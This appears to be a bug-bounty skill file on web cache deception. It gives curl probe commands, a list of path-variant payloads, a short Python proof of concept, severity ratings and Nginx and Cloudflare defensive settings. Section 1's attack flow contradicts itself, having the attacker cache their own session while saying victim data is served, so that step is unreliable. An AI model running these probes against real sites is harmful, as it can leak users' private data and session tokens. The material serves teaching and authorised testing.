Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
2. Probe the deception
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
3. Variants
| Variant | Path |
|---|---|
.css suffix |
/account/foo.css |
.jpg suffix |
/account.jpg |
/static/ prefix |
/static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; |
/account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception — attacker forces cache of victim's data, served to others
- Poisoning — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) — unkeyed param discovery
webcache.cyberxecution.comfor quick suffix probes- Manual via Burp Repeater
6. PoC
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has
7. Severity
| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
8. Defender
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
Apps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Web Cache Deception/ - Smuggling overlap:
skills/exploit/web/smuggling.md
Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak